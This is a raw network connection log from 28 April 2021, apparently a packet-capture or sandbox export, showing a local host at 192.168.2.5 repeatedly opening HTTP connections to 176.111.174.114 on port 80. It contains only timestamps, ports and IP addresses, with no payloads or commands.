Apr 28, 2021 23:23:18.978585958 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.978723049 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.978741884 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.978756905 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.978771925 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.978789091 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.979371071 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.979394913 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.979537010 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.979558945 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.979763031 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.979785919 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.979907036 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.981427908 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.981561899 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.981579065 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.981611013 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.982830048 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.982860088 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.983072996 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.985107899 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.985272884 CEST	49917	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:19.036618948 CEST	80	49918	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:19.036775112 CEST	49918	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:19.038708925 CEST	80	49919	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:19.038902998 CEST	49919	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:19.040676117 CEST	49919	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:19.089143991 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:19.089324951 CEST	49917	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:19.135968924 CEST	80	49919	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:19.139504910 CEST	80	49919	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:19.139677048 CEST	49919	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:19.255536079 CEST	49919	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:19.257035017 CEST	49921	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:19.348704100 CEST	80	49919	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:19.348797083 CEST	49919	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:19.356949091 CEST	80	49921	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:19.357052088 CEST	49921	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:19.357688904 CEST	49921	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:19.458781958 CEST	80	49921	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:19.469826937 CEST	80	49921	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:19.470109940 CEST	49921	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:19.586669922 CEST	49921	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:19.588318110 CEST	49922	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:19.685302019 CEST	80	49922	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:19.685503006 CEST	49922	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:19.686142921 CEST	49922	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:19.688210011 CEST	80	49921	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:19.688304901 CEST	49921	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:19.782552004 CEST	80	49922	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:19.786542892 CEST	80	49922	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:19.786686897 CEST	49922	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:19.896322966 CEST	49922	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:19.897469997 CEST	49923	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:19.991482019 CEST	80	49922	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:19.991585970 CEST	49922	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:19.997519970 CEST	80	49923	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:19.997662067 CEST	49923	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:19.998104095 CEST	49923	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:20.097831964 CEST	80	49923	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:20.102426052 CEST	80	49923	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:20.102617025 CEST	49923	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:20.208890915 CEST	49923	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:20.210280895 CEST	49925	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:20.308396101 CEST	80	49925	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:20.308521986 CEST	80	49923	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:20.308573008 CEST	49925	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:20.308615923 CEST	49923	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:20.309329033 CEST	49925	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:20.407299995 CEST	80	49925	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:20.411437035 CEST	80	49925	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:20.412538052 CEST	49925	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:20.525715113 CEST	49925	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:20.527266979 CEST	49926	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:20.620666981 CEST	80	49926	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:20.620815039 CEST	49926	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:20.623003960 CEST	49926	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:20.623631001 CEST	80	49925	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:20.623718977 CEST	49925	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:20.717058897 CEST	80	49926	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:20.721288919 CEST	80	49926	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:20.723392963 CEST	49926	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:20.834014893 CEST	49926	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:20.835470915 CEST	49927	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:20.928253889 CEST	80	49926	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:20.928358078 CEST	49926	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:20.931363106 CEST	80	49927	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:20.932796001 CEST	49927	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:20.933404922 CEST	49927	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.028892040 CEST	80	49927	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.032514095 CEST	80	49927	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.033004045 CEST	49927	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.146183014 CEST	49927	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.147866011 CEST	49928	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.241894007 CEST	80	49927	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.242014885 CEST	49927	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.243189096 CEST	80	49928	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.243494034 CEST	49928	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.245548010 CEST	49928	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.341223001 CEST	80	49928	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.345110893 CEST	80	49928	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.349426031 CEST	49928	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.459556103 CEST	49928	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.460818052 CEST	49929	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.514283895 CEST	49930	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.554914951 CEST	80	49928	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.555027962 CEST	49928	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.558855057 CEST	80	49929	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.559036016 CEST	49929	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.559668064 CEST	49929	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.611757994 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.611897945 CEST	49930	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.612227917 CEST	49930	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.657648087 CEST	80	49929	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.662046909 CEST	80	49929	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.663372993 CEST	49929	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.709711075 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.709748983 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.709769011 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.709903955 CEST	49930	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.710057020 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.711399078 CEST	49930	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.771886110 CEST	49929	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.773405075 CEST	49935	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.807423115 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.807466030 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.807657003 CEST	49930	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.807682037 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.807876110 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.808022976 CEST	49930	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.808926105 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.808955908 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.809000015 CEST	49930	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.809065104 CEST	49930	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.810019016 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.810157061 CEST	49930	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.869699955 CEST	80	49935	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.869818926 CEST	49935	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.870731115 CEST	49935	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.875411987 CEST	80	49929	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.875607014 CEST	49929	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.905229092 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.905281067 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.905405045 CEST	49930	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.905447006 CEST	49930	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.905527115 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.905548096 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.905603886 CEST	49930	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.905713081 CEST	49930	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.905735970 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.905849934 CEST	49930	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.906342030 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.906440973 CEST	49930	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.906465054 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.906486034 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.906541109 CEST	49930	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.906613111 CEST	49930	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.906795025 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.906900883 CEST	49930	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.907671928 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.907696962 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.907778978 CEST	49930	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:21.965631962 CEST	80	49935	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.969450951 CEST	80	49935	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:21.969532013 CEST	49935	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:22.004533052 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:22.004565001 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:22.004587889 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:22.004610062 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:22.004631042 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:22.005227089 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:22.005242109 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:22.005364895 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:22.005397081 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:22.006117105 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:22.006140947 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:22.006162882 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:22.006714106 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:22.007056952 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:22.007080078 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:22.008348942 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:22.011081934 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:22.011327982 CEST	49930	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:22.087194920 CEST	49935	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:22.088435888 CEST	49937	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:22.109638929 CEST	80	49930	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:22.109791994 CEST	49930	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:22.182122946 CEST	80	49935	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:22.182264090 CEST	49935	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:22.184425116 CEST	80	49937	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:22.184514999 CEST	49937	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:22.185175896 CEST	49937	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:22.280913115 CEST	80	49937	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:22.284329891 CEST	80	49937	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:22.284394979 CEST	49937	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:22.398415089 CEST	49937	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:22.400703907 CEST	49938	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:22.495465040 CEST	80	49937	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:22.495558977 CEST	49937	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:22.500508070 CEST	80	49938	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:22.500668049 CEST	49938	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:22.501430035 CEST	49938	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:22.601397038 CEST	80	49938	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:22.604742050 CEST	80	49938	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:22.604839087 CEST	49938	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:22.903557062 CEST	49938	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:22.904577017 CEST	49939	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:23.007425070 CEST	80	49938	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:23.007503033 CEST	80	49939	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:23.007564068 CEST	49938	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:23.007642031 CEST	49939	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:23.008260012 CEST	49939	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:23.108683109 CEST	80	49939	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:23.113537073 CEST	80	49939	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:23.113614082 CEST	49939	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:23.253309965 CEST	49939	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:23.254369020 CEST	49941	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:23.352973938 CEST	80	49939	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:23.353096962 CEST	49939	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:23.358274937 CEST	80	49941	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:23.358448982 CEST	49941	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:23.361613989 CEST	49941	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:23.466731071 CEST	80	49941	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:23.470047951 CEST	80	49941	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:23.470135927 CEST	49941	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:23.587852955 CEST	49941	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:23.588923931 CEST	49942	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:23.686737061 CEST	80	49942	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:23.686846018 CEST	49942	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:23.687402964 CEST	49942	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:23.691757917 CEST	80	49941	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:23.691827059 CEST	49941	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:23.787812948 CEST	80	49942	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:23.791141033 CEST	80	49942	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:23.793626070 CEST	49942	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:24.180460930 CEST	49942	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:24.181885958 CEST	49943	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:24.278186083 CEST	80	49942	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:24.278280973 CEST	49942	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:24.290316105 CEST	80	49943	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:24.290446997 CEST	49943	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:24.294979095 CEST	49943	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:24.403737068 CEST	80	49943	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:24.407129049 CEST	80	49943	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:24.407221079 CEST	49943	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.430582047 CEST	49943	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.431969881 CEST	49944	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.533423901 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.534951925 CEST	80	49944	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.535058975 CEST	49944	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.535655975 CEST	49944	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.540477037 CEST	80	49943	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.540594101 CEST	49943	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.633375883 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.633491039 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.633825064 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.639565945 CEST	80	49944	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.643238068 CEST	80	49944	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.643382072 CEST	49944	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.731885910 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.731919050 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.731977940 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.732031107 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.732038021 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.732105017 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.732145071 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.732234955 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.732351065 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.732424974 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.732723951 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.732793093 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.732999086 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.733066082 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.733287096 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.733357906 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.733470917 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.733563900 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.733894110 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.733963966 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.757250071 CEST	49944	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.758230925 CEST	49946	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.829643965 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.829740047 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.829950094 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.829968929 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.829983950 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.830001116 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.830064058 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.830122948 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.830143929 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.830184937 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.830212116 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.830244064 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.830435038 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.830545902 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.830554962 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.830566883 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.830595016 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.830624104 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.830707073 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.830771923 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.830857992 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.831042051 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.831084967 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.831121922 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.831259012 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.831324100 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.831433058 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.831500053 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.858244896 CEST	80	49946	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.858365059 CEST	49946	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.858830929 CEST	49946	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.859002113 CEST	80	49944	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.859291077 CEST	49944	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.927400112 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.927448988 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.927500010 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.927575111 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.927695990 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.927850962 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.927872896 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.927963018 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.928172112 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.928322077 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.928349018 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.928371906 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.928390026 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.928410053 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.928422928 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.928438902 CEST	80	49945	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:25.928459883 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.928503036 CEST	49945	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:25.928560972 CEST	80	49945	176.111.174.114	192.168.2.5
